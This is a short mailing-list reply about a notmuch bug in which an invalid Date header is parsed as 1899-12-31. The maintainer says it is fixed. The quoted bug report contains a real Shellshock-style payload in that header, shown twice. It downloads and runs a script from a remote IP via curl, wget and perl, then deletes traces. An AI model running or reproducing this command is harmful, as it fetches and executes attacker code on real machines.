Re: bug: notmuch cannot handle invalid Date fields

Subject: Re: bug: notmuch cannot handle invalid Date fields

Date: Sun, 19 Mar 2017 09:31:07 -0300

To: Johannes Schauer, notmuch@notmuchmail.org

Cc:

From: David Bremner

Johannes Schauer <j.schauer@email.de> writes:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.

This should now be fixed, as of 62822a4e2

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